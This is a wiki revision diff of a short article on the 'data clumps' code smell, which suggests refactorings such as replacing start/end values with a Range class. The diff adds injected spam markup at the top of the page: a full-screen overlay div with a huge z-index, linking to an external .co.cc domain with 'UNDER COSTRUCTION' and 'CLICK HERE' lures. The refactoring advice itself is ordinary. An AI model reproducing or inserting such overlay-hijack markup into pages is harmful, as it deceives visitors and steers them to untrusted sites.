Data clumps smell
| Line 1: | Line 1: | ||
| − | Data clumps are groups of data items that are related and are always used or passed around together. They are often primitive values. An example of this is a | + | ---- |
| + | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
| + | ---- | ||
| + | =[http://olitudyxej.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]= | ||
| + | ---- | ||
| + | =[http://olitudyxej.co.cc CLICK HERE]= | ||
| + | ---- | ||
| + | </div> | ||
| + | Data clumps are groups of data items that are related and are always used or passed around together. They are often primitive values. An example of this is a "start" variable and an "end" variable. | ||
| − | Martin Fowler suggests replacing these clumps with a single object. In the example above the start and end could be replaced by a | + | Martin Fowler suggests replacing these clumps with a single object. In the example above the start and end could be replaced by a "Range" class. Doing this refactoring decreases the size of parameter lists when the values are passed around. This is one solution to the [[Long parameter list smell]]. You can also discover some nice behaviour when you extract the data into an object. For the Range example, you often want to know if a value is within the start and end range, so you could define an "includes" method in the Range class to check for this easily. |
== Common Refactorings == | == Common Refactorings == | ||
Revision as of 05:21, 24 November 2010
Data clumps are groups of data items that are related and are always used or passed around together. They are often primitive values. An example of this is a "start" variable and an "end" variable.
Martin Fowler suggests replacing these clumps with a single object. In the example above the start and end could be replaced by a "Range" class. Doing this refactoring decreases the size of parameter lists when the values are passed around. This is one solution to the Long parameter list smell. You can also discover some nice behaviour when you extract the data into an object. For the Range example, you often want to know if a value is within the start and end range, so you could define an "includes" method in the Range class to check for this easily.
Common Refactorings
- Extract Class - though this causes a Data class smell if the resulting class does not define useful behaviour.
- Introduce Parameter Object
- Preserve Whole Object
See also
